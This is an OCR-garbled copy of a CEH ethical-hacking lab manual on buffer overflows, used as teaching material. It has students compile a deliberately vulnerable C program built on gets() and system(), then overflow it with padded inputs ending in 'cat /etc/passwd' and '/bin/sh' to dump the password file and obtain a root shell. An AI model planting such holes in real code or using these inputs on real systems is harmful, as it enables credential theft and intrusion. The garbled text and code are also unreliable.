CEH Lab M anual B u f f e r O v e r f lo w M o d u le Module 18 - Buffer Overflow Buffer Overflow Attack In a buffer overflow, while writing data to a biffer, the b/ffer’s boundary is overrun and adjacent memory is overwritten I CON KEY Lab Scenario Valuable in to in iad o a Source: h ttp ://www.1c.u11icam p.br/~stolfi/urna/butfer-oflow Test your knowledge Hackers continuously look for vulnerabilities 111 software or a computer to break into the system by exploiting these vulnerabilities sA W eb exercise m W orkbook review The most common vulnerability often exploited is die buffer overflow attack, where a program failure occurs eidier 111 allocating sufficient memory for an input string or 111 testing die lengdi o f string if it lies within its valid range A hacker can exploit such a weakness by submitting an extra-long input to the program, designed to overflow its allocated input buffer (temporary storage area) and modify the values of nearby variables, cause the program to jump to unintended places, or even replace the program's instructions by arbitrary code If the buffer overflow bugs lie 111 a network service daemon, the attack can be done by direcdy feeding the poisonous input string to the daemon If the bug lies 111 an ordinary system tool or application, with no direct access, the hacker attaches the poisonous string widi a document or an email which, once opened, will launch a passive buffer overflow attack Such attacks are equivalent to a hacker logging into the system widi die same user ID and privileges as die compromised program Buffer overflow bugs are especially common 111 C programs, since that language does not provides built-in array bound checking, and uses a final null byte to mark the end of a string, instead o f keeping its length 111 a separate field To make dungs worse, C provides many library functions, such as s t r c a t and g e t l i n e , which copy strings without any bounds-checking As an expert ethical hacker and penetration tester, you must have sound knowledge of when and how buffer overflow occurs You must understand stacksbased and heap-based buffer overflows, perform penetration te s ts for detecting buffer overflows in programs, and take precautions to prevent programs trom buffer overflow attacks Lab Objectives The objective o f tins lab is to help students to learn and perform buffer overflow attacks to execute passwords 111 C E H L ab M an u al Page 902 tins lab, you need to: ■ Prepare a script to overflow buffer ■ Run the script against an application E th ica l H a ck in g a nd C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 18 - Buffer Overflow & This lab can be dem onstrated using Backtrack Virtual Machine ■ Perform penetration testing for the application ■ Enum erate a password list Lab Environment ■ A computer running with Windows Server 2012 as Host machine ■ A Virtual Machine running with Back Track R3 ■ A web browser with Internet access ■ Administrative privileges to 11111 tools Lab Duration Time: 20 Aluiutes Overview of Buffer Overflow Buffer overflow is an anomaly where a program, while wnting data to a buffer, overruns the butter's boundary and overwrites adjacent memory Tins is a special case of violation o f memory safety Butter overflows can be triggered by inputs that are designed to execute code, or alter the way the program operates Tins may result 111 erratic program behavior, including memory access errors, incorrect results, a crash, or a breach of system security Thus, they are the basis o f many software vulnerabilities and can be maliciously exploited Lab Tasks 2* TASK Recommended labs to assist you 111 buffer overflow: Overview ■ Enumerating Passwords 111 “Default Password List” o W rite a Code o Compile die Code o Execute the Code o Perform Buffer Overflow Attack o Obtain Command Shell Lab Analysis Analyze and document the results related to the lab exercise Give your opinion on your target’s security posture and exposure P L E A S E TALK T O Y O U R I N S T R U C T O R IF YOU R E L A T E D T O T H I S LAB C E H L ab M an u al Page 903 HAVE QUESTIONS E th ica l H a ck in g a nd C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow Buffer Overflow Example In a b/rffer oveijlow, while writing data to a b/rffer, the buffer's boundary is overrun and adjacent memory is overwritten ICON Lab Scenario KEY / Valuable inform ation y* T est your knowledge s W eb exercise m W orkbook review 111 computer security and programming, a buffer overflow, 01 ־buffer overrun, vulnerability appears where an application needs to read external information such as a character string, the receiving butter is relatively small compared to the possible size o f die input string, and the application doesn't check the size The buffer allocated at run-time is placed 011 a stack, which keeps the information for executing functions, such as local variables, argument variables, and the return address The overflowing string can alter such information Tins also means that an attacker can change the information as he 01 ־she wants to For example, the attacker can inject a series o f macliine language commands as a string that also leads to the execution of the attack code bv changing the return address to the address of the attack code The ultimate goal is usually to get control of a privileged shell by such methods Programming languages commonly associated with buffer overflows include C and C ++, which provide 110 built-in protection against accessing 01 ־overwriting data 111 any part of memory and not automatically check that data written to an array (the built-in buffer type) is within the boundaries ot that array Bounds checking can prevent buffer overflows As a penetration tester, you should be able to implement protection against stacksmaslung attacks You must be aware of all the defensive measures for buffer overflow attacks You can prevent buffer overflow attacks by implementing 11111time checks, address obfuscation, randomizing location of functions 111 libc, analyzing static source code, marking stack as non-execute, using type safe languages such as Java, ML, etc Lab Objectives The objective o f tins lab is to help students to learn and perform buffer overflow to execute passwords 111 C E H L ab M an u al Page 904 tins lab, you need to: E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow ■ Prepare a script to overflow buffer ■ Run the script against an application ■ Perform penetration testing for the application ■ Enum erate a password list Lab Environment I T This lab can be dem onstrated using Backtrack Virtual Machine ■ A computer running with Windows Server 2012 as Host maclune ■ A Virtual Machine running with Back Track R3 ■ A web browser with Internet a c c e s s ■ Administrative privileges to run tools Lab Duration Time: 20 Minutes Overview of Buffer Overflow Buffer overflow takes place when data written to a buffer because of insufficient bounds checking corrupts the data values 111 memory addresses, which are adjacent to the allocated buffer Most often diis occurs when copying strings of characters from one buffer to another When die following program is compiled and mil, it will assign a block ot memory 11 bytes long to hold die attacker string, strcpv function will copy the string “D D D D D D D D D D D D D D ” into an attacker string, which will exceed the buffer size of 11 bytes, resulting 111 buffer overflow BufferOverflowExam pleCode #include 10 1112 D D D D D D D D D D D D \ o String int main ( int argc, char * *argv) { char B u fferfll] =״AAAAAAAAAA;״ ■cA 89 A A A A A A A A A 10 \0 strcpylBuffer/DDDDDDDDDODD;}״ printf(“96 \n ״ Buffer); i S7 6״ return 0; } This type o f vulnerability is prevalent in UNIX• and NT-based systems Lab Tasks S TASK Write a Code C E H L ab M anual Page 905 Launch your Back Track R3 Virtual Machine For bdogin, type root and press Enter Type the password as toor, and press Enter to log 111 to BackTrack virtual maclune E th ical H a ck in g and C o untenneasures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow ־R * ״T BackTrack on WIN 2N9STOSGIEN Virtual Machine Connection יkVia Clipboard View @3 1►ווh פ i 0933761 HET: Registered protocol fa n ily 17 1.0915311 input: AT T ranslated Set keyboard as /dc1;iccs^platfor1v'i8l>12/'scrio0/input/'inputl 1.0952761 Registering the dns resolver key type 1.0957B31 registered taskstats version 1.1639921 llagic nunber: 12:1ZU:12G 1.1644561 acpi device:01: hash notches 1.1056581 rtc.cnos 00:02: setting syste* clock to 2012-09-25 11:06:59 UTC(1340571219) 1.165468) BIOS EDO fa c il i t y v0.16 2004-Jun-25, devices found 1.1658621 COD information not ava llable 1.2378181 a ta t.06: ATA-8: U irtu al HD, 1.1.0, raax MUDMfi2 1.2389361 atat.06: 33554432 scctors, n u lti 12B: LBA48 1.2415511 ataZ.06: filAPI: U irtu al CD, , wax hllDt1A2 1.2432671 ata2.06: configured fo r MUM1n2 1.2441101 a tal.0 6: configured fo r flUDHflZ 1.2442231 scsi 0:0:0:6: Direct-Access ATA V irtua l HO 1.1 PQ: AMSI: 1.2451571 sd 0:0:0:0: (sdal 33554432 512-byte logical blocks: (17.1GB/׳lb.O GiB) 1.2455461 sd 0:0:0:0: lsd< l 4096-hyte physical blocks 1.2459741 sd 0:0:0:0: (sdal Write Protect Is o ff 1.2463841 sd 0:0:0:0: Attached scsi generic sgO type 1.2468141 sd 0:0:0:0: fsdal U rlte cache: enabled, read cache: enabled, doesn't support DPT nr Flh 1.2404231 scsi 1:0:0 0: CD ROM Hsft U irtu al CD/ROM 1.0 PQ: AHSI tray 1.2515061 sr6: scsi3 mik drive: 1.2526091 cdron: Uniforn CD HUM d river Revision: 3.26 1.2527931 * r 1:0:0:0: Attached scsi generic sgl type 1.2506571 sda: sdal r.da2 < xda5 > 1.2506591 ad 0:0:0:0: Inda I Attached 8C5I disk 1.2602631 Freeing iiiiiisimI kernel **:wiry; 96Hk fn x d 1.2608041 U rlte p ro tec tI M| the kernel read only data: 1228Hk 1.26S624I Freeing unused kernel M M inj: 1732k freed 1.2699051 Prering unused kernel !*rnorij: 1492k freed ling, please w a it 1.2873151 udev: s ta rtin g version 151 1.2962U0I udevd (03): /•prot/׳U3/uon adj is deprecated please use /proc/OJ/oon score adj instead 1.3963921 Floppy driv e (s ): fdO is 1.44f1 1.41 rilH I PDC is an 02070 2.0203071 Refined T8C clocksource ca lib tio n : 3692.970 fW׳־ 0x/0k FIGURE 1.1: BackTrackLogin _ Bufferoverflowoccurs whenaprogramor process tries to storemore dataina buffer Type startx to launch die GUI 1-1°־* ־ BackTrack on WIN-2N9STOSGIEN Virtual Machine Connection ■Re irrior I.V44 CSpbeard Vie I't •>(- ©3 111►h 1.24S974I sd 0:0:6:6: (sdal U rlte Protect Is o ff 1.2463841 sd 0:0:6:6: Attached scsI generic sy6 type 1.2468141 sd 0:0:0:©: tsdal U rlte cache: enabled, read cache: enabled, doesn't support DP0 or FU 1.2404231 scsi 1:6:6:0: CD ROM Msft U irtu al CD-ROM PQ: ANSI: 1.2515061 sr6: scsi3־rwc drive: 0x/0־x tray 1.252*091 cdrm : Onifcrn CD-HW driver Revision: 3.20 I 2527931 s r !:0 :6 :6 : Attached scsi generic syl type I 2586571 sda: sdal sda2 < sd»5 > 1.2506591 sd 0:0:6 6: (sdal attached SCSI disk 1.2602631 freeing unused kernel ncmury: 'J6UK freed 1.2I10H04I Write protecting the kernel read-only data: IZZIMIk 1.2656241 FreeIny unused kernel nennry: 1732k freed 1.2699851 Freeing unused kernel nonary: 1492k freed ading, please u a lt 1.2873151 udev: s ta rtin g version 151 1.2962001 udevd (83): /p r v l l l ׳m_( d j is deprecated, please use /׳proc/03׳׳cw»»_score_adj instead 1.3963921 Floppy driv e (s ): fd6 is 1.44H 1.4139841 F K Is an H267H 2.0203871 Refined TSC clocksource ca lib tio n : 3692.970 life 01 01 cklrack JO - 64 B it bt t t y l g iu tined out a fte r 60 seconds Systen information as of Iuc Sep 25 16:45:47 1ST 2012 Systea load: 0.08 Usage o f ✓:72.3x o f 15.23GB rtenory usage: 1׳ Swap usage: Ok Processes: 72 Users logged In: IP address fo r eth6: 10.0.0.14 Graph th is data and w1 na!!r th is systen at https:/✓landscape.canonical.con✓ FIGURE 1.2: BackTrackGUI Login-StartxCommand BackTrack R3 GUI desktop opens, as shown 111 die following screenshot m Codewhichis entered inkedit is case-sensitive C E H L ab M anual Page 906 E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Strictly Prohibited Module 17 - Buffer Overflow FIGURE 1.3: BackTrack5R3Desktop Select the BackTrack Applications menu, and then select A ccessories gedit Text Editor ־y t > r* ל/Mem (»_J * ^ *V *«es*o׳H׳s ^ BackTtock ^ Oik uwg* Analyzer oedlt Tfcxt Editor &#***% £ internet dioflke | TWmlrwl )14 Other ס Tkrminator WK Sound V^deo System Tools v o id m a in () { c h a r *name; c h a r *command; nam e=(char * )m a llo c (10); command=(char * )m a llo c (128); p r i n t f ( " a d d r e s s o f name i s : % d\n",nam e); p r i n t f ( " a d d r e s s o f command i s : %d\n",command); p r i n t f ( " D i f f e r e n c e betw een a d d re s s i s : %d\n", command- C E H L ab M anual Page 907 E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow nam e); p r i n t f ("E n te r your n am e:"); g e ts (n a m e ); p r i n t f ("H ello % s\n",nam e); system (com m and); } >׳׳ v x *u n s a v e d Docum ent ־g e d it File Edit View Search Tools Documents Help ^ ^ ^ J o p e n Ii=y1 Codeis compiledusing the followingcommend:gee ▼ ^_Save n *Unsaved Document buffer.cbiiffer Undo ^ 9k X # nclude v o id m ain() { char •name; char •command; name=(char * )m a llo c (1 ); command=(char *)m a llo c (1 ); p r in tf(" a d d re s s o f name i s : % d\n",name); p r in tf(" a d d re s s o f command is:% d\n",comm and); p r i n t f ( “ D iffe re n c e between address is :%d\n“ ,command-name); p r in t f ( " E n t e r your name:“ ) ; gets(nam e); p r in t f ( " H e llo % s\n",name); system( command); Plain Text ▼ Tab Width: ▼ Ln 15, Col FIGURE 1.5: Writingcode for execution טNo tool cansolve completelydieproblemof buffer overflow, but die)■׳ surelycandecreasethe probabilityofstacksmashing attacks Now save die program by selecting File )־־Save A s )־root or simply click Save as shown 111 the following screenshot screenshot as buffer.c _* * U n s a v e d D o c u m e n t ־g e d it File Edit View Search Tools Documents Help Now launch die command terminal and compile die code by running: Compile the Code C E H L ab M anual Page 908 gcc b u f f e r c -o b u f f e r E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow /v v x ro o t @ b t : - File Edit View Terminal Help root@ bt: ־־# |gcc b u ffe r.c -0 b u ffe rfj The programexecutes usingfollowingcommand: !buffer FIGURE 1.7: BackTrackcompilingthecode If there are any errors, ignore them /v v X rootcabt: File Edit View Terminal Help ro o tg b t:-# gcc b u ffe r c ■0 b u ffe r b u ffe r c : In fu n c tio n 'm a in ': — b u ffe r c :6 : warning: in com p atible im p l ic i t d e c la tio n o f b u itfs tlH ^ u n c tio n ‘ mal loc 1^•—— — ׳ b u ffe r c :8 : w arning: form at '%d' expects type 1" ־n t ' , but a rg u m e n t^'tts s type 'ch ar • ׳ b u ffe r c :9 : warning: form at '%d' expects type , i n j ^ o u t argument jM F t y p e *ch ar »' g b u ffe r.c :1 : w arning: form at '%d' expects type ' i n t ׳, but a rg um ent# has type ' I ong i n t ' /tm p/ccx6 Y 3vl.o: In fu n c tio n m a in ': b u ffe r c : ( te x t+ x ): warning: the g e ts ' fu n c tio n is dangerous a n ^ t a u ^ ^ i o t be used root@bt:~# [ ] : b a c k I tra c k FIGURE 1.8: BackTrackError MessageWindow — j 10 To execute the program type /buffer Execute the Code C E H L ab M anual P ag e 909 E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow ־־ * ro o t@ b t: ~ File Edit View Terminal Help r o o tg b t: •־# | /b u f fe r | address o f name is : 20144144 address o f command i s :20144176 D iffe re n c e between address is :32 E nter your name:| m Anexecutableprogram on adiskcontains a set of binaryinstructions tobe executedbydieprocessor ■ tra c k b ack ^ ) ם FIGURE 1.9: BackTrackExecutingProgram 11 Type any name in die Input held and press Enter; here, using Jason as an example » - :v x ro o t@ b t File Edit View Terminal Help root@bt:~# address o f address o f D iffe re n c e Enter your c a Buffer overflowswork bymanipulatingpointers (includingstoredaddresses) /b u f f e r name is : 20144144 command i s : 26144176 between address is : 32 name:| נas | b a ck I tra c k FIGURE 1.10: Input Field 12 Hello Jason should be printed C E H L ab M anual Page 910 E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow /\ - :v x ro o t@ b t File Edit View Terminal Help ro o t@ b t:~ # a dd re ss o f a dd re ss o f D if f e r e n c e E n te r y o u r /b u ffe r name i s : 26144144 command i s : 20144176 between a dd re ss i s : 32 name: Jason ״o o t® b t:~ # fl b a c k I tra c k FIGURE 1.11: HelloJason B T A S K Perform Buffer Overflow Attack 13 Now, overflow the buffer and execute the listed system commands 14 Run die program again by typing /buffer 15 Tvpe 12345678912345678912345678912345cat /e tc /p a s s w d Input held 111 die 16 You can view a printout of die password hie a v אroot(g>bt: - File Edit View Terminal Help Buffer overflow vulnerbililties typicallyoccur incodethat aprogrammer cannot accratelypredict buffer overflowbehvior ro o t@ b t:~ # / b u f f e r a dd re ss o f name i s : 17747984 a dd re ss o f command i s :17748016 D if f e r e n c e between a dd re ss i s :32 E n te r y o u r name:|12345678912345678912345678912345cat /e tc /p a s s w d | H e llo 12345678912345678912345678912345cat /e tc /p a s s w d r o o t : x : e : : r o o t : / r o o t : /b in / b a s h daemon: x : : : daemon: /u s r / s b i n : / b i n / s h b in : x : : : b i n : / b i n : / b i n / s h s y s : x : : : sy s : /d e v : /b in /s h sync: x : :65534:sync: / b i n : /b in /s y n c games: x : : : games: /u s r/g a m e s : / b i n / s h man: x : : 12 : man: /v a r/cache/m an: /b in /s h I p : x : :7 : I p : / v a r /s p o o l/lp d : /b in /s h m a il: x ^ S : : m a il: /v a r / m a iU / b in / s h _ news: x t : : news: /v a r / s p o jj/ n e w s : / t j^ n / s h g lu iic p : x : e : l e : iftic jfc /v a r /s p d o l/u u c p ijrb in T M f p ro xy :x : :1 :p r o x y :/b n :/b n /s h I ■ I t L w w d a t a :x : 3 : 3 : w w w - d a t a : /v a r / w w \* / b in f t ( l I I b a cku p : x : :3 :b acku p : / v a r / b a c k u p f / b in / s h U s t : x : : : M a ilin g L i s t H a n a g e r : / v a r / lis t : / b in / s h i r e : x : : : i r e d : /v a r / r u n / i re d : / b i n / s h g n a t s :x : : l: G n a t s B u g -R e p o rtin g System ( a d m in ) : / v a r / li b / g n a t s : / b in / s h ( l i b u u i d : x :1 0 :1 : : / v a r / l i b / l i b u u l d : / b i n / s h FIGURE 1.12: ExecutingPassword ■m T A S K Obtain Command Shell C E H L ab M anual Page 911 17 Now, obtain a Command Shell 18 Run die program again /buffer and tvpe 12345678912345678912345678912345/ b i n / s h 111 the Input held E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow /v v x r o o t@ b t: - File Edit View Terminal Help ro o t@ b t:~ # / b u f f e r address o f name is : 24616976 address o f command i s :24617008 D iffe re n c e between address is :32 E nter your nameJ12345678912345678912345678912345/bm/sh| H e llo 12345678912345678912345678912345/bin/sh s h-4.1# s h-4.1# sh-4.1# [ ] m Code scrutiny(writing securecode) isthe best possible solutionto bufferflowattacks back tra c k FIGURE 1.13: Executing12345678912345678912345678912345/hin/sh 19 Type Exit 111 Shell !Console 01 ־close the program Lab Analysis Analyze and document die results related to die lab exercise Giye your opinion your target’s security posture and exposure T o o l/U tility B uffer Overflow In fo rm atio n C o lle c te d /O b je c tiv e s A chieved ■ Address o f name is: 24616976 ■ Address o f com m and 1s: 24617008 ■ Difference between address is: 32 ■ Enter your name: 12345678912345678912345678912345/b in / sh ■ Hello 12345678912345678912345678912 /b in /sh י sh-4.1# י sh-4.1# י sh-4.1# P L E A S E TALK T O Y O U R I N S T R U C T O R IF YOU R E L A T E D T O T H I S LAB C E H L ab M anual Page 912 011 HAVE QUESTIONS Module 17 - Buffer Overflow Questions Evaluate various m ethods to prevent buffer overflow Analyze how to detect run-time buffer overflow Evaluate and list the com m on causes o f buffer-overflow errors under N ET language In te rn e t C o n n ectio n R eq u ired D Yes 0N o P latform S upported C lassroom C E H L ab M an u al Page 913 !Labs E th ical H a ck in g and C ounterm easures Copyright © by EC-Council All Rights Reserved Reproduction is Stricdy Prohibited ... QUESTIONS Module 17 - Buffer Overflow Questions Evaluate various m ethods to prevent buffer overflow Analyze how to detect run-time buffer overflow Evaluate and list the com m on causes o f buffer- overflow. . .Module 18 - Buffer Overflow Buffer Overflow Attack In a buffer overflow, while writing data to a biffer, the b/ffer’s boundary... Reserved Reproduction is Stricdy Prohibited Module 17 - Buffer Overflow Buffer Overflow Example In a b/rffer oveijlow, while writing data to a b/rffer, the buffer' s boundary is overrun and adjacent